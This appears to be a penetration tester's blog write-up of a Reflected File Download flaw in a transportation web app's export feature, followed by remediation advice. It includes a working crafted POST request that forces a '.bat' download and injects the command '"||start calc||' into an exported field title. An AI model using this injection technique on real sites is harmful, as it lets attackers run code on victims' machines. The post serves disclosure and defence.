True Stories of the TRC

Compromising a User’s System with Reflected File Download

As web applications become more complex due to the use of various technologies, so will the attack surface of the applications that implement these technologies. Applications that utilize JSON to populate application content are just one example. In a vulnerability assessment of an application that was built in such a fashion, I found a specific data export functionality that was vulnerable to an attack known as reflected file download.

Reflected File Download (RFD) is a web attack vector that allows an attacker to gain complete control of a victim’s machine by virtually downloading a file from a trusted domain. The attack abuses a user’s trust of a website when downloading a file. Three criteria must be met in order to execute this attack:

  1. An attacker needs to be able to add additional file path information to the URL in order to get the browser to download the file as an executable.
  2. User input is reflected back in the response, which allows an attacker to inject shell commands.
  3. The browser downloads the file using the filename set from (1). Given the above criteria, an attacker can trick a user to download a file which the attacker adds shell commands to and is able to set the filename to an executable type. When the user runs the file after download the shell commands execute on the user’s machine.

You can find RFD on websites utilizing JSON technologies, but any functionalities that meets the above criteria will also be vulnerable.

The web application I was evaluating consisted of a panel of menus that manage delivery transportation. Operations included directing deliveries, calculating shipment costs, and generating reports. When navigating the site, I discovered an export functionality that prompted the user to download a file containing the delivery transportation data. Using Burp Suite to log the traffic, I analyzed request to download the file.

[Request details have been removed for sake of brevity.]

POST manager.transportation.site/export

_transaction=%3Ctransaction+xmlns%3Axsi%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2F10%2FXMLSchema-instance%22+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CtransactionNum+xsi%3Atype%3D%22xsd%3Along%
22%3E1%3C%2FtransactionNum%3E%3Coperations+xsi%3Atype%3D%22xsd%3AList%22%3E%3Celem+xsi%3Atype%
3D%22xsd%3AObject%22%3E[…]%3CexportAs%3Exls%3C%2FexportAs%3E[…]%3CexportFilename%3ELOAD%
3C%2FexportFilename%3E
[…]%3CexportFieldTitles+xsi%3Atype%3D%22xsd%3AObject%22%3E%3Cmaximum
UtilizationPercent%3EUtilization+%25%3C%2FmaximumUtilizationPercent%3E
[…]%3C%2FexportFieldTitles%
3E[…]%3C%2Felem%3E%3C%2Foperations%3E%3Cjscallback%3Eiframe%3C%2Fjscallback%3E%3C%2Ftransaction%
3E &protocolVersion=1.0&__ifameTarget__=isc_HiddenFrame_1

The _transaction parameter contained XML formatted data that was reflected in the response body and thus written in the downloaded file. Within the XML data, two elements stuck out as potentially meeting one of the requirements for RFD: <exportAs> and <exportFilename>.

After a few tests, I determined that <exportAs> denoted the file type and <exportFilename> denoted the file name. Further testing led to finding that the export field title elements would be good targets to inject shell commands e.g. the <maximumUtilizationPercent> element. For the exploitation test, I decided to craft a batch file that launches the calculator application when executed. Using Internet Explorer 11, the modified request below was sent to verify the RFD vulnerability.

POST manager.transportation.site/export

_transaction=%3Ctransaction+xmlns%3Axsi%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2F10%2FXMLSchema-instance%22+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CtransactionNum+xsi%3Atype%3D%22xsd%3Along%
22%3E1%3C%2FtransactionNum%3E%3Coperations+xsi%3Atype%3D%22xsd%3AList%22%3E%3Celem+xsi%3Atype%
3D%22xsd%3AObject%22%3E[…]%3CexportAs%3Ebat%3C%2FexportAs%3E[…]%3CexportFilename%3ESetup%
3C%2FexportFilename%3E
[…]%3CexportFieldTitles+xsi%3Atype%3D%22xsd%3AObject%22%3E%3Cmaximum
UtilizationPercent%3E%22%7C%7Cstart%20calc%7C%7C%3C%2FmaximumUtilizationPercent%3E
[…]%3C%
2FexportFieldTitles%3E[…]%3C%2Felem%3E%3C%2Foperations%3E%3Cjscallback%3Eiframe%3C%2Fjscallback%3E%
3C%2Ftransaction%3E &protocolVersion=1.0&__ifameTarget__=isc_HiddenFrame_1

After downloading the file and executing it, the injected shell command to open the calculator application was successful. All three criteria for RFD were met and I concluded the web application was indeed vulnerable to RFD attacks.

Remediating this vulnerability requires that the developer prevent at least one of the three criteria necessary to exploit it. Options to minimize those criteria include:

  • The filename and file extension should not be controllable on the client side.
  • The Content-Disposition response header should have a filename set for the attachment e.g. Content-Disposition: attachment; filename=file.txt.
  • User input should be output encoded so that attackers cannot inject shell commands.
  • User input should also not be reflected in error messages.
  • If the injection is through a callback function, a whitelist should be implemented for the callbacks.
  • Support for path parameters should be removed if not in use.

These are some of the various solutions that developers can and should use to prevent RFD.

In the constantly-changing field of web application development, developers need to practice constant vigilance when integrating new technologies into their applications. The more complex an application becomes, the more chances an attacker has in finding a way to compromise said application. Being security-minded when writing the code will go a long way toward minimizing the chances of a successful attack.

Tags: application security, exploit, Penetration testing, Retail, Secure Coding, security